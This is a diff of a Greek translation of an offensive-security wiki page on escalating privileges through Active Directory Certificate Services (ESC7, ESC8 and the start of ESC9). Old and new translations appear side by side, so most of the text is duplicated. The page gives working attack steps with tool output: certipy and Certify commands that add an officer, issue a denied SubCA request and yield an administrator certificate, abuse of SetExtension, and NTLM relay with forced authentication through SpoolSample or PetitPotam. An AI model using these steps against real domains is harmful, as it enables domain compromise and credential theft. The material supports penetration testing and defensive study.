Αυτό παρέχει πληροφορίες σχετικά με τα κύρια δικαιώματα, συγκεκριμένα τα **`ManageCA`** και **`ManageCertificates`**, που αντιστοιχούν στους ρόλους «διαχειριστής CA» και «Διαχειριστής Πιστοποιητικών» αντίστοιχα.
|
||||
|
||||
#### Κατάχρηση
|
||||
|
||||
Η κατοχή των δικαιωμάτων **`ManageCA`** σε μια certificate authority επιτρέπει στην οντότητα να χειρίζεται ρυθμίσεις απομακρυσμένα με χρήση του PSPKI. Αυτό περιλαμβάνει την εναλλαγή του flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί ο καθορισμός SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο για την ανύψωση προνομίων στο domain.
|
||||
Η κατοχή των δικαιωμάτων **`ManageCA`** σε μια Αρχή Πιστοποιητικών (CA) επιτρέπει στον principal να χειρίζεται ρυθμίσεις απομακρυσμένα χρησιμοποιώντας PSPKI. Αυτό περιλαμβάνει την ενεργοποίηση/απενεργοποίηση της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η καθορισμός SAN σε οποιοδήποτε template, κάτι κρίσιμο για domain escalation.
|
||||
|
||||
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω του cmdlet **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση αλληλεπίδραση με το GUI.
|
||||
Η απλοποίηση αυτής της διαδικασίας μπορεί να επιτευχθεί μέσω της χρήσης του PSPKI’s **Enable-PolicyModuleFlag** cmdlet, επιτρέποντας τροποποιήσεις χωρίς άμεση χρήση του GUI.
|
||||
|
||||
Η κατοχή των δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτήσεων, παρακάμπτοντας στην ουσία την προφύλαξη «έγκριση διαχειριστή πιστοποιητικού CA».
|
||||
Η κατοχή των δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση αιτημάτων σε εκκρεμότητα, παρακάμπτοντας ουσιαστικά την προστασία «CA certificate manager approval».
|
||||
|
||||
Μια συνδυασμένη χρήση των modules **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για να ζητηθεί, να εγκριθεί και να ληφθεί ένα πιστοποιητικό:
|
||||
Μια συνδυαστική χρήση των modules **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για την υποβολή αίτησης, την έγκριση και το κατέβασμα ενός πιστοποιητικού:
|
||||
```bash
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
@ -268,31 +264,31 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
```
|
||||
### Επίθεση 2
|
||||
|
||||
#### Εξήγηση
|
||||
#### Επεξήγηση
|
||||
|
||||
> [!WARNING]
|
||||
> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελέσουν την **ESC6 attack**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι η υπηρεσία CA (`CertSvc`) να επανεκκινηθεί. Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, E**SC6 might not work out of the box** στα περισσότερα ενημερωμένα περιβάλλοντα λόγω των ενημερώσεων ασφάλειας του Μαΐου 2022.
|
||||
> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελεστεί η **ESC6 attack**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να γίνει επανεκκίνηση της υπηρεσίας CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, επιτρέπεται επίσης στον χρήστη να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργήσει άμεσα** στην πλειονότητα των patched περιβαλλόντων λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022.
|
||||
|
||||
Συνεπώς, παρουσιάζεται εδώ μια άλλη επίθεση.
|
||||
Επομένως, παρουσιάζεται εδώ μια άλλη επίθεση.
|
||||
|
||||
Προαπαιτούμενα:
|
||||
|
||||
- Μόνο **`ManageCA` permission**
|
||||
- **`Manage Certificates`** permission (μπορεί να παραχωρηθεί από **`ManageCA`**)
|
||||
- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **enabled** (μπορεί να ενεργοποιηθεί από **`ManageCA`**)
|
||||
- Only **`ManageCA` permission**
|
||||
- **`Manage Certificates`** permission (μπορεί να χορηγηθεί από **`ManageCA`**)
|
||||
- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από **`ManageCA`**)
|
||||
|
||||
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με τα δικαιώματα `Manage CA` _και_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **vulnerable to ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **αιτηθεί** εγγραφή στο **`SubCA`** — η οποία θα **απορριφθεί** — αλλά στη συνέχεια να **εκδοθεί από τον διαχειριστή**.
|
||||
Η τεχνική βασίζεται στο γεγονός ότι χρήστες με τα δικαιώματα `Manage CA` _και_ `Manage Certificates` μπορούν να **υποβάλουν αποτυχημένες αιτήσεις πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στο ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Ως εκ τούτου, ένας **χρήστης** μπορεί να **ζητήσει** εγγραφή στο **`SubCA`** - που θα **απορριφθεί** - αλλά στη συνέχεια να **εκδοθεί από τον διαχειριστή**.
|
||||
|
||||
#### Κατάχρηση
|
||||
|
||||
Μπορείς να **παραχωρήσεις στον εαυτό σου το δικαίωμα `Manage Certificates`** προσθέτοντας τον χρήστη σου ως νέο officer.
|
||||
Μπορείτε να **παραχωρήσετε στον εαυτό σας το `Manage Certificates`** δικαίωμα πρόσβασης προσθέτοντας τον χρήστη σας ως νέο officer.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
Το **`SubCA`** πρότυπο μπορεί να **ενεργοποιηθεί στον CA** με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο.
|
||||
Το πρότυπο **`SubCA`** μπορεί να **ενεργοποιηθεί στον CA** με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -304,7 +300,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
Αν έχουμε εκπληρώσει τις προαπαιτήσεις για αυτή την επίθεση, μπορούμε να ξεκινήσουμε ζητώντας ένα πιστοποιητικό βάσει του προτύπου `SubCA`.
|
||||
Αν έχουμε εκπληρώσει τις προαπαιτήσεις για αυτή την επίθεση, μπορούμε να ξεκινήσουμε **ζητώντας ένα πιστοποιητικό βάσει του προτύπου `SubCA`**.
|
||||
|
||||
**Αυτό το αίτημα θα απορριφθεί**, αλλά θα αποθηκεύσουμε το ιδιωτικό κλειδί και θα σημειώσουμε το ID του αιτήματος.
|
||||
```bash
|
||||
@ -318,7 +314,7 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
Με τα δικαιώματά μας **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποιητικού** με την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
|
||||
Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποιητικού** χρησιμοποιώντας την εντολή `ca` και την παράμετρο `-issue-request <request ID>`.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -337,68 +333,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Επίθεση 3 – Κατάχρηση Manage Certificates Extension (SetExtension)
|
||||
### Επίθεση 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
|
||||
#### Επεξήγηση
|
||||
#### Εξήγηση
|
||||
|
||||
Επιπλέον των κλασικών καταχρήσεων ESC7 (ενεργοποίηση EDITF attributes ή έγκριση εκκρεμών αιτήσεων), **Certify 2.0** αποκάλυψε ένα καινούριο primitive που απαιτεί μόνο το ρόλο *Manage Certificates* (γνωστό και ως **Certificate Manager / Officer**) στον Enterprise CA.
|
||||
Εκτός από τις κλασικές καταχρήσεις ESC7 (ενεργοποίηση EDITF attributes ή έγκριση εκκρεμών αιτήσεων), το **Certify 2.0** αποκάλυψε ένα εντελώς νέο primitive που απαιτεί μόνο το ρόλο *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) στον Enterprise CA.
|
||||
|
||||
Η μέθοδος RPC `ICertAdmin::SetExtension` μπορεί να εκτελεστεί από οποιονδήποτε principal έχει το *Manage Certificates*. Ενώ η μέθοδος χρησιμοποιείτο παραδοσιακά από νόμιμους CAs για να ενημερώνει extensions σε **pending** requests, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη-προεπιλεγμένη* certificate extension** (π.χ. ένα custom *Certificate Issuance Policy* OID όπως `1.1.1.1`) σε ένα request που περιμένει έγκριση.
|
||||
Η μέθοδος RPC `ICertAdmin::SetExtension` μπορεί να εκτελεστεί από οποιοδήποτε principal διαθέτει *Manage Certificates*. Ενώ η μέθοδος παραδοσιακά χρησιμοποιούνταν από νόμιμους CAs για να ενημερώνει extensions σε **εκκρεμείς** αιτήσεις, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη-προεπιλεγμένη* επέκταση πιστοποιητικού** (π.χ. ένα custom *Certificate Issuance Policy* OID όπως `1.1.1.1`) σε μια αίτηση που περιμένει έγκριση.
|
||||
|
||||
Επειδή το στοχευόμενο template **δεν ορίζει προεπιλεγμένη τιμή για αυτή την επέκταση**, ο CA δεν θα αντικαταστήσει την τιμή που ελέγχεται από τον επιτιθέμενο όταν η αίτηση τελικά εκδοθεί. Το προκύπτον πιστοποιητικό επομένως περιέχει μια επέκταση επιλεγμένη από τον επιτιθέμενο που μπορεί να:
|
||||
Επειδή το στοχευμένο template ΔΕΝ ορίζει προεπιλεγμένη τιμή για εκείνη την επέκταση, η CA δεν θα αντικαταστήσει την τιμή ελεγχόμενη από τον επιτιθέμενο όταν η αίτηση τελικά εκδοθεί. Το προκύπτον πιστοποιητικό περιέχει έτσι μια επέκταση επιλεγμένη από τον επιτιθέμενο που μπορεί να:
|
||||
|
||||
* Ικανοποιήσει απαιτήσεις Application / Issuance Policy άλλων ευάλωτων templates (οδηγώντας σε ανύψωση προνομίων).
|
||||
* Εισαγάγει επιπλέον EKUs ή πολιτικές που χορηγούν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα.
|
||||
* Ικανοποιήσει απαιτήσεις Application / Issuance Policy άλλων ευάλωτων templates (οδηγώντας σε privilege escalation).
|
||||
* Ενέχει πρόσθετα EKUs ή πολιτικές που δίνουν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα.
|
||||
|
||||
Εν ολίγοις, το *Manage Certificates* — που προηγουμένως θεωρούνταν το «λιγότερο ισχυρό» μισό του ESC7 — μπορεί τώρα να αξιοποιηθεί για πλήρη ανύψωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει την παραμετροποίηση του CA ή να απαιτήσει το πιο περιοριστικό δικαίωμα *Manage CA*.
|
||||
Εν συντομία, το *Manage Certificates* – που προηγουμένως θεωρούνταν το «λιγότερο ισχυρό» μισό του ESC7 – μπορεί τώρα να αξιοποιηθεί για πλήρη privilege escalation ή μακροχρόνια persistence, χωρίς να πειράξει τη ρύθμιση της CA ή να απαιτήσει το πιο περιοριστικό δικαίωμα *Manage CA*.
|
||||
|
||||
#### Κατάχρηση του primitive με Certify 2.0
|
||||
#### Abusing the primitive with Certify 2.0
|
||||
|
||||
1. **Υποβάλετε ένα certificate request που θα παραμείνει *pending*.** Αυτό μπορεί να εξαναγκαστεί με ένα template που απαιτεί manager approval:
|
||||
1. **Υποβάλετε μια αίτηση πιστοποιητικού που θα παραμείνει *εκκρεμής*.** Αυτό μπορεί να επιβληθεί με ένα template που απαιτεί manager approval:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Take note of the returned Request ID
|
||||
```
|
||||
|
||||
2. **Προσθέστε μια custom extension στο pending request** χρησιμοποιώντας την καινούρια εντολή `manage-ca`:
|
||||
2. **Προσθέστε μια custom επέκταση στην εκκρεμή αίτηση** χρησιμοποιώντας την νέα εντολή `manage-ca`:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
|
||||
```
|
||||
*Αν το template δεν ορίζει ήδη την επέκταση *Certificate Issuance Policies*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.*
|
||||
*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
|
||||
|
||||
3. **Εκδώστε την αίτηση** (αν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Manage Certificates*) ή περιμένετε έναν χειριστή να την εγκρίνει. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό:
|
||||
3. **Εκδώστε την αίτηση** (εάν ο ρόλος σας επίσης έχει δικαιώματα έγκρισης *Manage Certificates*) ή περιμένετε έναν χειριστή να την εγκρίνει. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. Το προκύπτον πιστοποιητικό τώρα περιέχει το κακόβουλο issuance-policy OID και μπορεί να χρησιμοποιηθεί σε επακόλουθες επιθέσεις (π.χ. ESC13, domain escalation, κ.λπ.).
|
||||
4. Το προκύπτον πιστοποιητικό πλέον περιέχει το κακόβουλο issuance-policy OID και μπορεί να χρησιμοποιηθεί σε επακόλουθες επιθέσεις (π.χ. ESC13, domain escalation, κ.λπ.).
|
||||
|
||||
> ΣΗΜΕΙΩΣΗ: Η ίδια επίθεση μπορεί να εκτελεστεί με Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`.
|
||||
> ΣΗΜΕΙΩΣΗ: Η ίδια επίθεση μπορεί να εκτελεστεί με Certipy ≥ 4.7 μέσω της εντολής `ca` και του παραμέτρου `-set-extension`.
|
||||
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
> [!TIP]
|
||||
> Σε περιβάλλοντα όπου **AD CS is installed**, εάν υπάρχει ένα **ευπαθές web enrollment endpoint** και τουλάχιστον ένα **certificate template is published** που επιτρέπει **domain computer enrollment and client authentication** (όπως το προεπιλεγμένο **`Machine`** template), γίνεται δυνατό για **οποιονδήποτε υπολογιστή με ενεργή την spooler service να υποκλέπτεται από επιτιθέμενο**!
|
||||
> Σε περιβάλλοντα όπου είναι εγκατεστημένο το **AD CS**, εάν υπάρχει κάποιο **web enrollment endpoint** ευάλωτο και τουλάχιστον ένα **certificate template** έχει δημοσιευτεί που επιτρέπει **domain computer enrollment και client authentication** (όπως το προεπιλεγμένο **`Machine`** template), γίνεται δυνατό για **οποιονδήποτε υπολογιστή με ενεργή την spooler service να συμβιβαστεί από έναν επιτιθέμενο**!
|
||||
|
||||
Πολλές μέθοδοι enrollment βάσει HTTP υποστηρίζονται από το AD CS, διαθέσιμες μέσω επιπλέον server roles που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπιφάνειες για HTTP-based certificate enrollment είναι ευάλωτες σε NTLM relay attacks. Ένας επιτιθέμενος, από έναν compromised machine, μπορεί να μιμηθεί οποιονδήποτε AD account που αυθεντικοποιείται μέσω εισερχόμενου NTLM. Ενώ μιμείται το θύμα, ο επιτιθέμενος μπορεί να προσπελάσει αυτές τις web διεπιφάνειες για να ζητήσει ένα client authentication certificate χρησιμοποιώντας τα `User` ή `Machine` certificate templates.
|
||||
Υποστηρίζονται διάφορες **HTTP-based enrollment methods** από το AD CS, διαθέσιμες μέσω πρόσθετων server roles που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπιφάνειες για HTTP-based certificate enrollment είναι επιρρεπείς σε **NTLM relay attacks**. Ένας επιτιθέμενος, από ένα **συμβιβασμένο μηχάνημα, μπορεί να μιμηθεί οποιονδήποτε AD account που κάνει authentication μέσω εισερχόμενου NTLM**. Ενώ μιμείται τον λογαριασμό του θύματος, αυτές οι web διεπαφές μπορεί να χρησιμοποιηθούν από τον επιτιθέμενο για να **αιτηθεί ένα client authentication certificate χρησιμοποιώντας τα `User` ή `Machine` certificate templates**.
|
||||
|
||||
- Η **web enrollment interface** (μια παλαιότερη ASP εφαρμογή διαθέσιμη στο `http://<caserver>/certsrv/`), εξ ορισμού χρησιμοποιεί μόνο HTTP, το οποίο δεν προσφέρει προστασία έναντι NTLM relay attacks. Επιπλέον, επιτρέπει ρητά μόνο NTLM authentication μέσω του Authorization HTTP header, καθιστώντας πιο ασφαλείς μεθόδους όπως το Kerberos μη εφαρμόσιμες.
|
||||
- Η **Certificate Enrollment Service** (CES), το **Certificate Enrollment Policy** (CEP) Web Service, και η **Network Device Enrollment Service** (NDES) υποστηρίζουν εξ ορισμού negotiate authentication μέσω του Authorization HTTP header. Το negotiate authentication υποστηρίζει τόσο Kerberos όσο και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να υποβαθμίσει την αυθεντικοποίηση σε NTLM κατά τη διάρκεια relay attacks. Παρότι αυτές οι web υπηρεσίες ενεργοποιούν HTTPS ως προεπιλογή, μόνο το HTTPS δεν προστατεύει από NTLM relay attacks. Η προστασία από NTLM relay attacks για HTTPS υπηρεσίες είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί το Extended Protection for Authentication στο IIS, που απαιτείται για channel binding.
|
||||
- Η **web enrollment interface** (μια παλαιότερη ASP εφαρμογή διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλεγμένα χρησιμοποιεί μόνο HTTP, το οποίο δεν προσφέρει προστασία ενάντια σε NTLM relay attacks. Επιπλέον, επιτρέπει ρητά μόνο NTLM authentication μέσω της Authorization HTTP header, καθιστώντας πιο ασφαλείς μεθόδους όπως το Kerberos μη εφαρμόσιμες.
|
||||
- Η **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, και το **Network Device Enrollment Service** (NDES) υποστηρίζουν προεπιλεγμένα negotiate authentication μέσω της Authorization HTTP header. Το negotiate authentication **υποστηρίζει τόσο** Kerberos όσο και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **κατεβάσει σε NTLM** authentication κατά τη διάρκεια relay attacks. Παρόλο που αυτές οι web υπηρεσίες ενεργοποιούν HTTPS από προεπιλογή, το HTTPS από μόνο του **δεν προστατεύει από NTLM relay attacks**. Η προστασία από NTLM relay attacks για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί το Extended Protection for Authentication στο IIS, που απαιτείται για channel binding.
|
||||
|
||||
Ένα κοινό ζήτημα με τα NTLM relay attacks είναι η μικρή διάρκεια των NTLM sessions και η αδυναμία του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που απαιτούν NTLM signing.
|
||||
Ένα κοινό **πρόβλημα** με τα NTLM relay attacks είναι η **σύντομη διάρκεια των NTLM sessions** και η αδυναμία του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που **απαιτούν NTLM signing**.
|
||||
|
||||
Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος ένα NTLM relay attack για την απόκτηση ενός πιστοποιητικού για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της σύνδεσης, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που απαιτούν NTLM signing. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:
|
||||
Παρόλα αυτά, αυτός ο περιορισμός ξεπερνιέται με την εκμετάλλευση ενός NTLM relay attack για την απόκτηση ενός πιστοποιητικού για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν NTLM signing**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
Ένας άλλος περιορισμός των NTLM relay attacks είναι ότι μια attacker-controlled machine πρέπει να λάβει authentication από έναν victim account. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να αναγκάσει αυτή την authentication:
|
||||
Ένας ακόμη περιορισμός των NTLM relay attacks είναι ότι **ένα μηχάνημα ελεγχόμενο από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να **αναγκάσει** αυτή την πιστοποίηση:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -407,13 +403,13 @@ account-persistence.md
|
||||
|
||||
### **Κατάχρηση**
|
||||
|
||||
Η `cas` του [**Certify**](https://github.com/GhostPack/Certify) απαριθμεί τα **enabled HTTP AD CS endpoints**:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από τις εταιρικές Certificate Authorities (CAs) για να αποθηκεύει τα endpoints του Certificate Enrollment Service (CES). Αυτά τα endpoints μπορούν να αναλυθούν και να απαριθμηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
|
||||
Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από τις εταιρικές Certificate Authorities (CAs) για την αποθήκευση των endpoints του Certificate Enrollment Service (CES). Αυτά τα endpoints μπορούν να αναλυθούν και να απαριθμηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -441,11 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Κατάχρηση με [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
Το αίτημα για πιστοποιητικό γίνεται από το Certipy εξ ορισμού βάσει του προτύπου `Machine` ή `User`, που καθορίζεται από το αν το όνομα λογαριασμού που αναμεταδίδεται τελειώνει σε `$`.
|
||||
Το αίτημα για πιστοποιητικό γίνεται από το Certipy εξ ορισμού βάσει του προτύπου `Machine` ή `User`, ανάλογα με το αν το όνομα του λογαριασμού που προωθείται τελειώνει σε `$`. Ο καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`.
|
||||
|
||||
Ο καθορισμός εναλλακτικού προτύπου μπορεί να γίνει με τη χρήση της παραμέτρου `-template`.
|
||||
|
||||
Μια τεχνική όπως [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν πρόκειται για ελεγκτές τομέα, απαιτείται ο καθορισμός του `-template DomainController`.
|
||||
Μια τεχνική όπως [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν πρόκειται για domain controllers, απαιτείται ο ορισμός `-template DomainController`.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -458,79 +452,79 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## Καμία επέκταση ασφαλείας - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
## Χωρίς Επέκταση Ασφαλείας - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, αναφερόμενη ως ESC9, αποτρέπει την ενσωμάτωση της **νέας `szOID_NTDS_CA_SECURITY_EXT` επέκτασης ασφαλείας** σε ένα πιστοποιητικό. Αυτό το flag γίνεται σημαντικό όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `1` (η προεπιλεγμένη ρύθμιση), σε αντίθεση με τη ρύθμιση `2`. Η σημασία του ενισχύεται σε σενάρια όπου μια ασθενέστερη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel μπορεί να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα άλλαζε τις απαιτήσεις.
|
||||
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, γνωστή ως ESC9, αποτρέπει την ενσωμάτωση της **νέας επέκτασης ασφαλείας `szOID_NTDS_CA_SECURITY_EXT`** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο στο `1` (η προεπιλεγμένη τιμή), σε αντίθεση με τη ρύθμιση `2`. Η σημασία της ενισχύεται σε σενάρια όπου μια ασθενέστερη συσχέτιση πιστοποιητικού για Kerberos ή Schannel μπορεί να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα άλλαζε τις απαιτήσεις.
|
||||
|
||||
Οι συνθήκες υπό τις οποίες η ρύθμιση αυτού του flag γίνεται σημαντική περιλαμβάνουν:
|
||||
Οι συνθήκες υπό τις οποίες η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν:
|
||||
|
||||
- Το `StrongCertificateBindingEnforcement` δεν έχει προσαρμοστεί σε `2` (με προεπιλογή το `1`), ή το `CertificateMappingMethods` περιλαμβάνει το flag `UPN`.
|
||||
- Το πιστοποιητικό έχει επισημανθεί με το flag `CT_FLAG_NO_SECURITY_EXTENSION` μέσα στη ρύθμιση `msPKI-Enrollment-Flag`.
|
||||
- Κάθε client authentication EKU καθορίζεται από το πιστοποιητικό.
|
||||
- Δικαιώματα `GenericWrite` είναι διαθέσιμα πάνω σε οποιονδήποτε λογαριασμό για να παραβιαστεί άλλος.
|
||||
- Το `StrongCertificateBindingEnforcement` να μην έχει ρυθμιστεί στο `2` (με προεπιλογή το `1`), ή το `CertificateMappingMethods` να περιλαμβάνει τη σημαία `UPN`.
|
||||
- Το πιστοποιητικό να είναι επισημασμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` μέσα στη ρύθμιση `msPKI-Enrollment-Flag`.
|
||||
- Το πιστοποιητικό να καθορίζει οποιοδήποτε client authentication EKU.
|
||||
- Υπάρχουν δικαιώματα `GenericWrite` σε οποιονδήποτε λογαριασμό που επιτρέπουν την προσβολή άλλου.
|
||||
|
||||
### Σενάριο Κατάχρησης
|
||||
|
||||
